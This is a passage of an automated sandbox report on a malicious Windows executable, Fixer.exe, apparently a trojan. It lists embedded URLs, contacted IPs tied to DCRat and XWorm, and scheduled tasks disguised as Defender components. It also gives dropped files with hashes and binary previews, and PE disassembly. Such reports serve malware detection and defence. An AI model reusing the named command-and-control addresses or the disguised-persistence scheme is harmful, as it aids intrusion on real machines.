http://tempuri.org/Entity/Id10ResponseD	Fixer.exe, 00000000.00000002.52600457326.0000000003024000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id5Response	Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gemini.google.com/app?q=	Fixer.exe, 00000000.00000002.52603430679.0000000003E84000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15ResponseD	Fixer.exe, 00000000.00000002.52600457326.0000000002E87000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10Response	Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8Response	Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, Defender.exe.3.dr, FixerNerest.exe.0.dr	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, Defender.exe.3.dr, FixerNerest.exe.0.dr	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/D	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/06/addressingex	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_alldp.ico	Fixer.exe, 00000000.00000002.52603430679.0000000003E84000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13Response	Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id12ResponseD	Fixer.exe, 00000000.00000002.52600457326.0000000003024000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id7ResponseD	Fixer.exe, 00000000.00000002.52600457326.0000000002E87000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement	Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Fixer.exe, 00000000.00000002.52603430679.0000000003E84000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52603430679.0000000003BDF000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52603430679.0000000003F00000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id4ResponseD	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2002/12/policy	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id22Response	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id22ResponseD	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id16ResponseD	Fixer.exe, 00000000.00000002.52600457326.0000000002E87000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id19ResponseD	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002D60000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/spnego	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id18Response	Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd	Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id3Response	Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence	Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/actor/next	Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id14ResponseD	Fixer.exe, 00000000.00000002.52600457326.0000000003024000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
89.23.97.121	unknown	Russian Federation		48687	MAXITEL-ASRU	true
147.185.221.24	et-seattle.gl.at.ply.gg	United States		12087	SALSGIVERUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585853
Start date and time:	2025-01-08 11:22:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected VM Detection
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Fixer.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@36/7@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 28 Number of non-executed functions: 8
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
05:24:26	API Interceptor	85x Sleep call for process: Fixer.exe modified
11:25:05	Task Scheduler	Run new task: Schost path: C:\Windows\System32\xdwdSecurityHealthSystrays.exe
11:25:07	Task Scheduler	Run new task: SecurityHealthSystray12 path: C:\Windows\System32\xdwdSecurityHealthSystrays.exe
11:25:10	Task Scheduler	Run new task: WindowsAPI path: C:\Windows\System32\Defender.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
89.23.97.121	q3JT7kcpCR.exe	Get hash	malicious	DCRat	Browse	89.23.97.121/Flowerprocessorjavascriptvideo/eternalbigload/test/4/Test/16Datalife8/HttpWpUploads/JsSqlSqlLine/UploadsCpuproton/Dbprotect/Local/Update/JsTemp/videolinepythonSql/flower/apiwordpressTest_/javascriptuniversal/ImageapiTemp.php
147.185.221.24	spreadmalware.exe	Get hash	malicious	XWorm	Browse
	7fqul5Zr8Y.exe	Get hash	malicious	Unknown	Browse
	loader.exe	Get hash	malicious	Unknown	Browse
	loader.exe	Get hash	malicious	Unknown	Browse
	P3A946MOFP.exe	Get hash	malicious	XWorm	Browse
	BootstrapperV1.16.exe	Get hash	malicious	XWorm	Browse
	SharkHack.exe	Get hash	malicious	XWorm	Browse
	avaydna.exe	Get hash	malicious	Njrat	Browse
	ddos tool.exe	Get hash	malicious	XWorm	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MAXITEL-ASRU	T4qO1i2Jav.exe	Get hash	malicious	LummaC Stealer	Browse	89.23.100.42
	XNPOazHpXF.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	89.23.96.180
	9FwQYJSj4N.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	89.23.96.180
	bPkG0wTVon.exe	Get hash	malicious	Unknown	Browse	89.23.100.233
	itLDZwgFNE.exe	Get hash	malicious	Flesh Stealer	Browse	89.23.100.233
	3gJQoqWpxb.bat	Get hash	malicious	Unknown	Browse	89.23.100.233
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	89.23.100.42
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	89.23.100.42
	7fE6IkvYWf.exe	Get hash	malicious	Unknown	Browse	89.23.100.233
SALSGIVERUS	spreadmalware.exe	Get hash	malicious	XWorm	Browse	147.185.221.24
	7fqul5Zr8Y.exe	Get hash	malicious	Unknown	Browse	147.185.221.24
	miori.arm.elf	Get hash	malicious	Unknown	Browse	147.168.252.34
	miori.m68k.elf	Get hash	malicious	Unknown	Browse	147.184.86.253
	loader.exe	Get hash	malicious	Unknown	Browse	147.185.221.24
	loader.exe	Get hash	malicious	Unknown	Browse	147.185.221.24
	My33xbeYIX.exe	Get hash	malicious	Njrat	Browse	147.185.221.16
	YPzNsfg4nR.exe	Get hash	malicious	XWorm	Browse	147.185.221.21
	sela.exe	Get hash	malicious	Njrat	Browse	147.185.221.17

Process:	C:\Windows\System32\Defender.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	642
Entropy (8bit):	5.343714716785993
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPyEsWzAbDLI4MNuxYmzhaOKbbDLI4MWuPOKMAKhav:ML9E4Ka6sXE4rKDE4KGKMAKhk
MD5:	D0B0E2BB1DA8256FC05A6806EBFF2A2B
SHA1:	01C0959989F2EABCC7FF3B6F969B512882878A7A
SHA-256:	60B65653982E4426062BF6BF0094CCD3A6E340FBC713BFCE1244140A218B0DA8
SHA-512:	4939E533C93161CAEC3BFD7BD6FACB8CAF9188DA3491D2063DB7AA29C8865658B1F0FFA1018B0197D4C79D22779BF17E30C2BAFF1F2C886EED1A8084BD2DA9DF
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\d1b08a492d712e019f310913d82efb4d\System.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Management\3a54af634388e6223cd280a434ab6a59\System.Management.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\782dd7dd89e97af687ff0bdfb301ea5f\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\xdwdSecurityHealthSystrays.exe.log

Download File

Process:	C:\Windows\System32\xdwdSecurityHealthSystrays.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	642
Entropy (8bit):	5.343714716785993
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPyEsWzAbDLI4MNuxYmzhaOKbbDLI4MWuPOKMAKhav:ML9E4Ka6sXE4rKDE4KGKMAKhk
MD5:	D0B0E2BB1DA8256FC05A6806EBFF2A2B
SHA1:	01C0959989F2EABCC7FF3B6F969B512882878A7A
SHA-256:	60B65653982E4426062BF6BF0094CCD3A6E340FBC713BFCE1244140A218B0DA8
SHA-512:	4939E533C93161CAEC3BFD7BD6FACB8CAF9188DA3491D2063DB7AA29C8865658B1F0FFA1018B0197D4C79D22779BF17E30C2BAFF1F2C886EED1A8084BD2DA9DF
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\d1b08a492d712e019f310913d82efb4d\System.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Management\3a54af634388e6223cd280a434ab6a59\System.Management.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\782dd7dd89e97af687ff0bdfb301ea5f\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Fixer.exe.log

Download File

Process:	C:\Users\user\Desktop\Fixer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3094
Entropy (8bit):	5.336981480211611
Encrypted:	false
SSDEEP:	96:Pq5q12wCYqh6oPtIAeqzhPfzmaAqdqPuq7qqjqaHR+5VD:Pq5q12wCYqh6qtIAeqzhPfyzqdqmq7qv
MD5:	DCAD26FFEA25FCE4E3DB8605106AB4CA
SHA1:	5C2F9711972DB2054469F37CBBBE28DDE14457C8
SHA-256:	B848B7ED3D2806453CAEAD017847C96A118A657003C256BE0F87D255CD2F193E
SHA-512:	4A72A5897F3026F91DF11DB5E96AD2217149CC8C6AF5F2AC359355A48DD7DBA9C7C467109F23D721811C9FA089BD159B9BFD19D3E87694F788DC74B7EFE87ADF
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\827465c25133ff582ff7ddaf85635407\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\374ae62ebbde44ef97c7e898f1fdb21b\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\b863adc9d550931e279ac7e2ee517d1f\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\10879c5bddb2dd2399e2098d

C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe

Download File

Process:	C:\Users\user\Desktop\Fixer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	471107
Entropy (8bit):	6.664478759847773
Encrypted:	false
SSDEEP:	12288:G8qTx8oaV9Ta1UGwUVBRIYRrpyLvx5aatth:kaVVa+GwyHvlGv/jX
MD5:	2E2BF344AC14353A679CCDD682273BE0
SHA1:	92ED1E2EAE84405DF7FE700BA108F04E498C6CB1
SHA-256:	9CD1297AB41D9DACADA4F728935BECB08533480326BAB6687DD8BE2DB76F91E7
SHA-512:	012E5031B9D413547AA98E6C61A2CA0E658C471D8EEAE4AAA16F100C30BF98C74929D4589A722AE7914BBFD9E60314BA10757BD93E4E521570D4B153CAB21FC7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...s][f............................n1... ...@....@.. ....................................@..................................1..S....@.......................`....................................................... ............... ..H............text...t.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................P1......H...........XD...............$...........................................W.......4...f.2..W.....H3......3.......".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....

C:\Users\user\AppData\Local\Temp\FixerNerest.exe

Download File

Process:	C:\Users\user\Desktop\Fixer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	398579
Entropy (8bit):	6.187747366960712
Encrypted:	false
SSDEEP:	6144:udqn92Oey3hWpanij1Ck6QQWFti9Ez2bDLujYzYm12JLXUsGytEqQ:uIn92O335ijomti9EzsOJL+UEq
MD5:	094EBE271C9334745C238FC2BA77FD38
SHA1:	3BC39EE84886A41A621F4B3047FE437DEE266269
SHA-256:	59B32D9062B72F23B8CB1F6D5F137E07E40B2F59CF46E548C22721CDE8568474
SHA-512:	79BBAA9950C9B0A82B486E88259EFCF081B0B4EB3F50C00DF969A18F8035EEC46AFD65F42D31DF5E119A548FB2CF6C19A79B4C2194DABDD331E89A13AECE9D66
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...s][f............................./... ...@....@.. .......................@............@.....................................O....@..................H$... ....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc....... ......................@..B........................H........... _...........................................................W.......4...f.2..W.....H3......3.......".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....

C:\Windows\System32\Defender.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\FixerNerest.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	753276147
Entropy (8bit):	0.0077968863233513885
Encrypted:	false
SSDEEP:
MD5:	6C49C48E82A1B13AC0406AD8B049E7DE
SHA1:	9EFE8FE8C404ADA4281DA0DBE3B26306C9B7A95B
SHA-256:	1E434C27665EF7E8E28D3E22C3683F4DE0C1329D01E4CD4D4199DABEB25BA6D4
SHA-512:	16CC45C26EC9EBDB83CA353D67C42AD40048AD43DD34C6106FC7CF86968C381339046A90C6A39418E00E8E42088778F4EE76F146A8C8B60F7D1E00D310E2DCC5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...s][f............................./... ...@....@.. .......................@............@.....................................O....@..................H$... ....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc....... ......................@..B........................H........... _...........................................................W.......4...f.2..W.....H3......3.......".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....

C:\Windows\System32\xdwdSecurityHealthSystrays.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	735522883
Entropy (8bit):	0.009974453903565014
Encrypted:	false
SSDEEP:
MD5:	0AC0B9DEA199D2DF1593CAB96613CB52
SHA1:	D3F577D3DBAD9F94B99A6EE6731D9D9AF5ACE49C
SHA-256:	EF11384917C68D635A16C5DDAD10DB19EA021B5B0391610D89B777B147713551
SHA-512:	09B427512396E4B46F1E037B00661DF17612CD95CEB5C6CAC28D9F6D75133189FCFA293371AA50086122786A27D7C42161F439381C800D775B288DA64FEBA0DF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...s][f............................n1... ...@....@.. ....................................@..................................1..S....@.......................`....................................................... ............... ..H............text...t.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................P1......H...........XD...............$...........................................W.......4...f.2..W.....H3......3.......".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....".(.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.081407378293017
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01%
File name:	Fixer.exe
File size:	307'712 bytes
MD5:	2acda1f917022e9e8081ad69b15330c6
SHA1:	3bad975d496a0066d64470e4ae1002794581c4f8
SHA256:	7bc2586b6d70b12f116dc8f538f58665620a765e2c764a5c143b06ec97bacfc0
SHA512:	958b0298777807763a0abd44c7a9252838625a2cd73eda6537d7a453aa5ed434282dbec6a126899bb35912e1615fa4e77461a2c1b4f7912d91a35fb44b439d93
SSDEEP:	3072:icZqf7D34qp/0+mAGkyYaxQwgrRB1fA0PuTVAtkxza3R0eqiOL2bBOA:icZqf7DIqnm2lB1fA0GTV8kk8L
TLSH:	B5645A5833E8C910DA7F4775D861D67093B0BCA3A552E70B4FC4ACAB3D32740EA51AB6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....H(...............0.................. ... ....@.. ....................... ............@................................

File Icon


Icon Hash:	4d8ea38d85a38e6d

Static PE Info

General

Entrypoint:	0x43029e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xD22848DC [Tue Sep 23 12:17:32 2081 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
